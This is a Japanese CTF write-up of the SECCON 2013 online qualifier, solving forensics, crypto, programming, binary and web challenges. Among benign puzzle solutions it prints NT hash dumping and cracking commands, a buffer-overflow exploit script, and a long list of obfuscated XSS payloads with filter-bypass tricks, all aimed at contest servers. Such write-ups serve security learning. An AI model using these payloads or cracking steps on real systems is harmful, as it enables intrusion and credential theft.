SECCON 2013 オンライン予選大会 Write-up
SECCON 2013 オンライン予選大会に、チームsuperflipとして参加した。3600点(たぶん)10位。解いた問題は次の通り。
以下、解けた問題と後から解いた問題のWrite-up。
フォレンジックス 100点 ここはどこ?
問題ファイルは電子メール。本文は
答: ○○○○○○ ○○○
tiff形式のパンダの画像が添付されている。EXIFに記録されている座標は、24;59;55, 121;34;52で、台湾の動物園。taipei zooが最初は不正解だったけど、後から惜しい解答も正解にしますというアナウンスがあって、正解になった。
taipei zoo
フォレンジックス 300点 ログインパスワードを解明せよ
メモリダンプから指定されたユーザーのWindowsログインパスワードを解析せよという問題。volatilityというツールでハッシュをダンプし、John the ripperで解析した。volatilityの使い方は、このサイトに書いてあった。
>volatility.exe imageinfo -f Memorydump2.bin Volatility Foundation Volatility Framework 2.3.1 Determining profile based on KDBG search... Suggested Profile(s) : Win7SP0x86, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (C:\documents\ctf\SECCON\2013o nline\for300\Memorydump2.bin) PAE type : PAE DTB : 0x185000L KDBG : 0x83341be8L Number of Processors : 1 Image Type (Service Pack) : 0 KPCR for CPU 0 : 0x83342c00L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2012-05-02 07:07:07 UTC+0000 Image local date and time : 2012-05-02 03:07:07 -0400 >volatility.exe hivelist -f Memorydump2.bin --profile=Win7SP1x86 Volatility Foundation Volatility Framework 2.3.1 Virtual Physical Name ---------- ---------- ---- 0x9ff5a3c0 0x37fbb3c0 \SystemRoot\System32\Config\SECURITY 0x9ffc03a0 0x30e243a0 \SystemRoot\System32\Config\SAM 0x8f60c568 0x04bbc568 [no name] 0x8f61c008 0x005d2008 \REGISTRY\MACHINE\SYSTEM 0x8f6448d8 0x04b3c8d8 \REGISTRY\MACHINE\HARDWARE 0x90659650 0x199c0650 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0x906d8008 0x13200008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0x93cf5008 0x38814008 \Device\HarddiskVolume1\Boot\BCD 0x93d479d0 0x388c19d0 \SystemRoot\System32\Config\SOFTWARE 0x989bc008 0x37920008 \SystemRoot\System32\Config\DEFAULT 0x9e6e69d0 0x005469d0 \??\C:\Users\forensics\ntuser.dat 0x9efe5650 0x028aa650 \??\C:\Users\forensics\AppData\Local\Microsoft\Windows\UsrClass.dat >volatility.exe hashdump -f Memorydump2.bin --profile=Win7SP1x86 -y 0x8f61c008 -s 0x9ffc03a0 Volatility Foundation Volatility Framework 2.3.1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: forensics:1000:aad3b435b51404eeaad3b435b51404ee:98ffdb1b29e7c88954326cd4011141d8::: >john --format=nt2 hash.txt Loaded 3 password hashes with no different salts (NT v2 [SSE2i 12x]) (Administrator) (Guest) Kani3 (forensics) guesses: 3 time: 0:00:01:03 DONE (Mon Jan 27 00:47:55 2014) c/s: 16164K tryin g: Kanim - Kanit Use the "--show" option to display all of the cracked passwords reliably
Kani3
フォレンジック 400点 QRコードの断片を読み取れ
タイトルの通り、QRコードの断片を読み取る問題。このサイトを参考にした。
まずは、形式情報。誤り訂正ビットの部分しか見えない。ちゃんと戻す方法はありそうだけど、下記のプログラムで全パターン作った。
def G(a,b): p = 0 while len(b)+p<=len(a): if a[p]==1: for i in range(len(b)): a[p+i] ^= b[i] p += 1 return a[-10:] for i in range(1<<5): a = [] for j in range(5): a += [i>>j&1] print a,G(a+[0]*10, [1,0,1,0,0,1,1,0,1,1,1])
後半8ビットが10011011になる形式情報は10000。誤り訂正レベルH、マスクは市松模様。あとは右下から読んでいく。このサイズではRSブロックが2個あるので、8ビット読んで、8ビット飛ばし、8ビット読んで……と繰り返して、その後残りを読む。
0010000100011010001101001000001101110011001001101001101011111000011001010111000001110100101100110011010100010000101100001011010111110111001101111010100001000100111001010100000100011110010010111111011001110
最初の4ビットが0010なので英数字モード、次の9ビットが000100011なので35文字。残りを11ビットずつに区切って復号。
X = "010001101001000001101110011001001101001101011111000011001010111000001110100101100110011010100010000101100001011010111110111001101111010100001000100111001010100000100011110010010111111011001110" ans = "" T = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:" for i in range(len(X)/11): x = int(X[i*11:i*11+11], 2) ans += T[x/45]+T[x%45] print ans
CONGRATS. FLAG IS VIVA REED-SOLOMO
手抜きで最後の1文字の処理を端折っているけど、Nでしょう。
VIVA REED-SOLOMON
プログラミング・crypt 200点 数「毒」ちゃれんじ★
数独の解の個数を答える問題。このサイトのプログラムを使わせて貰った。
>>> import sudoku >>> from sudoku import * >>> a = solve("4.....8.5.3..........7......2.....6.....8.4......1.......6.3.7.5..2.....1.4......") >>> display(a) 4 1 7 |3 6 9 |8 2 5 6 3 2 |1 5 8 |9 4 7 9 5 8 |7 2 4 |3 1 6 ------+------+------ 8 2 5 |4 3 7 |1 6 9 7 9 1 |5 8 6 |4 3 2 3 4 6 |9 1 2 |7 5 8 ------+------+------ 2 8 9 |6 4 3 |5 7 1 5 7 3 |2 9 1 |6 8 4 1 6 4 |8 7 5 |2 9 3
こんな感じで解が1個だけ表示されるので、解の個数を返すように書き換える。
def search(values): "Using depth-first search and propagation, try all possible values." if values is False: #return False ## Failed earlier return 0 if all(len(values[s]) == 1 for s in squares): #return values ## Solved! return 1 ## Chose the unfilled square s with the fewest possibilities n,s = min((len(values[s]), s) for s in squares if len(values[s]) > 1) #return some(search(assign(values.copy(), s, d)) # for d in values[s]) return sum(search(assign(values.copy(), s, d)) for d in values[s])
制限時間が長いから手作業でもできそうだけど、途中で間違えると面倒なので、
from socket import * from sudoku import * s = socket(AF_INET, SOCK_STREAM) s.connect(("133.242.48.175", 65434)) print s.recv(1000) while True: T = s.recv(1000) print T T = T.split("\r\n") P = [T[4],T[5],T[6],T[8],T[9],T[10],T[12],T[13],T[14]] P = "".join(p[3::2] for p in P) Q = T[-1] while True: t = P.replace("X",Q[10]) ans = solve(t) print "answer:",ans s.send("%s\n"%ans) Q = s.recv(1000) print Q if "Good job" in Q: break
'suDOKU(su-poison)' challenge for SECCON 2013. by KeigoYAMAZAKI, 2013.11.22- * Stage 1 1 2 3 4 5 6 7 8 9 $-+-+-$-+-+-$-+-+-$ A |.|.|.|.|2|5|.|.|.| B |.|4|5|.|.|8|1|9|2| C |.|6|.|.|7|9|.|.|.| $-+-+-$-+-+-$-+-+-$ D |3|1|8|7|.|2|.|.|.| E |4|2|9|3|5|.|7|.|8| F |5|.|6|.|.|4|.|.|.| $-+-+-$-+-+-$-+-+-$ G |2|.|4|.|.|7|6|.|.| H |6|.|1|.|.|3|X|.|7| I |9|8|7|.|.|6|.|.|4| $-+-+-$-+-+-$-+-+-$ if 'X' is 2, how many solutions does this sudoku have? => answer: 2 if 'X' is 5, how many solutions does this sudoku have? => answer: 0 if 'X' is 8, how many solutions does this sudoku have? => answer: 1 if 'X' is 9, how many solutions does this sudoku have? => answer: 19 *** Good job! (略) ************************************************************************* *** Congratulations! Flag is 'iitai-koto mo ienai konna yononaka-ja!' *** *************************************************************************
iitai-koto mo ienai konna yononaka-ja!
プログラミング・crypt 300点 Cryptanalysis
楕円曲線暗号。ビット数がとても小さいので、全探索で逆算すれば良い。
a = 1234577 b = 3213242 M = 7654319 base = (5234568, 2287747) public = (2366653, 1424308) crypted = [(5081741, 6744615), (610619, 6218)] def add(A,B): if A==(0,0): return B if B==(0,0): return A x1,y1 = A x2,y2 = B if A!=B: p = (y2-y1)*pow(x2-x1,M-2,M) else: p = (3*x1*x1+a)*pow(2*y1,M-2,M) x3 = p*p-x1-x2 y3 = p*(x1-x3)-y1 return (x3%M,y3%M) X = (0,0) for i in range(M): if X==public: secret = i if X==crypted[0]: rand = i X = add(X, base) print "secret:", secret print "rand:", rand rp = (0,0) for i in range(rand): rp = add(rp, public) print "rand*public:", rp plain = (0,0) for i in range(M): if add(plain,rp)==crypted[1]: break plain = add(plain, base) print "plain:", plain print "x+y:", plain[0]+plain[1]
>python solve.py secret: 1584718 rand: 2002115 rand*public: (1229936L, 3470910L) plain: (2171002L, 3549912L) x+y: 5720914
5720914
プログラミング・crypt 400点 TicTacLogic
ルール: タテヨコ同じ数の○と×が入るように○と×をインプットしていくパズルです。 ○と×は2つまで連続してインプットできますが3つ連続してはいけません。 又、同じ行のパターン、または同じ列のパターンがあってはいけません。 サンプル Question 0 [6,6] .o.xxo x..oox .xoo.x o..xxo xo.... oxx.o. 次のように回答してください xooxxo xoxoox oxooxx oxoxxo xoxxoo oxxoox
バックトラックで解ける。最大でも8x8までだった。
def solve(P): w = len(P[0]) h = len(P) for y in range(h): for x in range(w): if P[y][x]==".": break else: continue break else: return True for c in "ox": P[y][x] = c row = "".join(P[y]) col = "".join(P[i][x] for i in range(h)) if (c*3 not in row and c*3 not in col and row.count(c)<=w/2 and col.count(c)<=h/2 and ("." in row or P[y] not in [P[i] for i in range(h) if i!=y]) and ("." in col or [P[i][x] for i in range(h)] not in [[P[i][j] for i in range(h)] for j in range(w) if j!=x]) and solve(P)): return True P[y][x] = "." return False import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("133.242.18.173", 12321)) for i in range(7): print s.recv(1000) while True: print s.recv(1000) temp = s.recv(1000) print temp if "Incorrect answer" in temp: break l = temp.split("\n")[0] w,h = map(int,l[l.index("[")+1:l.index("]")].split(",")) print "W:",w print "H:",h P = temp.split("\n")[1:1+h] print "P:" print "\n".join(P) P = map(list,P) solve(P) P = "\n".join("".join(p) for p in P) print "Ans:" print P s.send(P+"\n")
(略) Question 20 [8,8] ......x. ..o....o .x..x... x.....ox ..x.o... o......o x....... .x...ox. W: 8 H: 8 P: ......x. ..o....o .x..x... x.....ox ..x.o... o......o x....... .x...ox. Ans: xoxooxxo xooxoxxo oxxoxoox xxooxoox ooxxoxxo oxxoxxoo xooxxoox oxoxooxx Correct! Congratulation!! Flag is 10982341089327510896
10982341089327510896
プログラミング・crypt 500点 古典暗号ちゃれんじ★
シーザー暗号や単一換字式暗号を解く問題。
シーザー暗号は「the」を探せば良い。
シーザー暗号を解いて平文を収集すると、数百くらいの文章の中からランダムに3行選んで問題にしていることが分かる。ここで、文字列中の文字を出てきた順に数字に置換する操作を考える。同じ文字には同じ数字を割り当てる。例えば、
mississippi → 01221221331
シーザー暗号や単一換字式暗号を施しても、同じ文字列からこの操作によって得られる数列は変わらないので、この操作をして一致する平文を探せば良い。
import socket import time def normalize(s): s = s.lower().replace(" ","") T = {} r = [] for c in s: if c not in T: T[c] = len(T) r += [T[c]] return tuple(r) T = {} for l in open("problem.txt"): l = l[:-1] T[normalize(l)] = l s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("133.242.50.48", 65437)) print s.recv(10000) while True: time.sleep(1) P = s.recv(10000) print P if P[:5]=="Wrong": break P = [p[:-1] for p in P.split("\n")[-4:-1]] ans = "_" for l in P: nl = normalize(l) if nl in T and "a" in T[nl]: ans = l[T[nl].index("a")] break print "Answer",ans s.send(ans+"\n")
(略) Good job! *** Challenge 10 (of 12) Pbh phnp dbcnh ln ybhz pbh elnpglifplrz'n cfprjcphe phnp nflph ln gfz. Irpb olzh cze lzolzh qrjjhzpn cgh nfddrgphe. Ghpfgzn pbh qfgghzp hggrgnpglzx (fnfcook, pbh ocnp hggrg ghdrgphe). plain [a] -> cipher ? Answer c Good job! ########################################################################### ### Flag-1: Et tu, Brute?!!! ########################################################################### *** Challenge 11 (of 12) Nzajctrse(n)2002.MctlyTyrpcdzy. Tydeplo,glctzfdqplefcpdnlympfdpoesczfrszmupnexpeszod. Tydnlwlcnzyepiecpefcydespyfxmpczqpyectpd. plain [a] -> cipher ? Answer l Good job! ########################################################################### ### Flag-2: Kanji? Kaeji?? ########################################################################### *** Challenge 12 (of 12) Ztdfzvxfvetynydhtmrefctbqvvrdstyrfve. Cnktctptc遶上・sfdenxgcqwxyqdqctzzrzmtxxqitxxrwrfbqvqbdfqccwxttnyVgnvinxzfvvnvirzn dyqncteeftdrxrmttzzrz. Nvyrzmqdnrvqsrfdxxhnxqpqncqsctqd<hddg://uuu.rgtvxxh.brm/>. plain [a] -> cipher ? Answer q Good job! ########################################################################### ### Congratulations! Flag-3 is 'you are cryptogram solver!!' ###########################################################################
Et tu, Brute?!!!
Kanji? Kaeji??
you are cryptogram solver!!
バイナリ 100点 Enjoy the Game
解けなかった。x64のPEファイル。3D迷路。マップは↓の通り。
[S]がスタート、[G]がゴールで辿り着くとフラグが表示される。★のマスは壁があるように見えるけれど、通り抜けられる。
3D_dUnGEoN
バイナリ 200点 exploit me
ELFファイルを渡されて、それが動いているサーバーを攻略しろという問題。ざっと見た感じ、バッファーオーバーフローがあって0x08048e80に制御を移せば勝ちらしい。細かい計算をするのが面倒なので、適当に。
import socket for l in range(40): print l s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("exploitme.quals.seccon.jp",31337)) print s.recv(100) s.send("\x08\x04\x8e\x80"[::-1]*l) print s.recv(100)
(略) 19 reverse: 死死死死死死死死死死死死死死死死死死死 20 reverse: Congratulations!! flag{off-by-one vulnerability} 21 reverse: Segmentation fault.
((((((;゚Д゚))))))
off-by-one vulnerability
バイナリ 300点 RISC processor
char main[] = "8!\377\360""8\0`a8```|c\0P8@\0\n\230A\0\0|$\vx|# P8@\0N8B" "\0 \230A\0\0|$\vx|# P8@\0""18B\0""0\230A\0\0|$\vx|# P8@\0@8B\0""3\230A\0" "\0|$\vx|# P8@\0@8B\0)\230A\0\0|$\vx|# P8@\0!8B\0@\230A\0\0|$\vx|# P8@\0" ";8B\0""0\230A\0\0|$\vx|# P8@\0""08B\0;\230A\0\0|$\vx|# P8@\0@8B\0!\230A" "\0\0|$\vx|# P8@\0$8B\0$\230A\0\0""8\0`d8```|c\0P`b\0\0""8\0`j8```|c\0P`" "e\0\0""8\0`a8```|c\0P`$\0\0`@\0\0D\0\0\002""8\0`a8```|c\0P``\0\0""8`\0\0" "D\0\0\002";
先頭数バイトを16進数でググって見たところ、PowerPCらしい。radareでデコード。
$ rasm2 -a ppc -d -B -f dec -e addi r1, r1, -16 li r0, 24673 li r3, 24672 subf r3, r3, r0 li r2, 10 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 78 addi r2, r2, 32 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 49 addi r2, r2, 48 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 64 addi r2, r2, 51 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 64 addi r2, r2, 41 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 33 addi r2, r2, 64 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 59 addi r2, r2, 48 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 48 addi r2, r2, 59 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 64 addi r2, r2, 33 stb r2, 0(r1) mr r4, r1 subf r1, r3, r4 li r2, 36 addi r2, r2, 36 stb r2, 0(r1) li r0, 24676 li r3, 24672 subf r3, r3, r0 ori r2, r3, 0 li r0, 24682 li r3, 24672 subf r3, r3, r0 ori r5, r3, 0 li r0, 24673 li r3, 24672 subf r3, r3, r0 ori r4, r1, 0 ori r0, r2, 0 sc li r0, 24673 li r3, 24672 subf r3, r3, r0 ori r0, r3, 0 li r3, 0 sc
2個の値を足し算した結果をメモリに入れている。
Hakkaisan
ネットワーク・Web 100点 repeat after me
pcapファイルが問題。telnetで接続してsshでさらに別のサーバーに繋いでいるので、それを真似すれば良い。時々デリートキーを押しているので、その時は直前の文字を消す。パスワードは「ls -l[0x15]followme$ whoami[0x17]ls. -l.」 制御コードが入っているけど、そのまま入力。
$ ssh -p 31337 followme@133.0xf2.010357 followme@133.0xf2.010357's password: Welcome to Ubuntu 12.04.3 LTS (GNU/Linux 3.8.0-29-generic x86_64) * Documentation: https://help.ubuntu.com/ System information as of Mon Jan 27 02:55:24 JST 2014 System load: 0.0 Processes: 76 Usage of /: 1.1% of 96.47GB Users logged in: 2 Memory usage: 15% IP address for eth0: 133.242.16.239 Swap usage: 0% Graph this data and manage this system at https://landscape.canonical.com/ 38 packages can be updated. 21 updates are security updates. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jan 26 19:48:30 2014 from softbank126009112002.bbtec.net followme$ cat flag.txt Interesting_IPv4_address
Interesting_IPv4_address
ネットワーク・Web 500点 箱庭XSS Final
alert('XSS')する問題。徐々に制約が増えていく。スクリプトを実行する方法と、alert('XSS')する方法をそれぞれ考える必要がある。alert('XSS')は、
/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')()
ならば最後(\が禁止)以外は制約に引っ掛からない。スクリプトの実行は主にイベントを色々使った。空白が+に置換されるので代わりにタブを使った。
"onselect="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onmouseover="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onfocus="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onblur="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onkeydown="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onkeyup="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onkeypress="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onclick="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "ondblclick="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onmouseout="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onmousedown="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onmouseup="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "onchange="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "><img src=x onerror="/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')() "><a href="javascript:/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'\''+'X'+'S'+'S'+'\''+')')()
最後は、
"><script>/a/['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']['c'+'o'+'n'+'s'+'t'+'r'+'u'+'c'+'t'+'o'+'r']('a'+'l'+'e'+'r'+'t'+'('+'"'+'X'+'S'+'S'+'"'+')')()</script>
ステージ8までで部分点フラグが手に入る。途中で面倒になって、メモリダンプして答えを探したけど、「アイ・アム・アラートマン!」だった。たまたまなのか、何か対策がされていたのか……。
sscriptcriptだとscriptが残るらしい。すごい。
折り返し地点まで来たよ!!
アイ・アム・アラート出したいマン!
その他 100点 練習問題
SECCON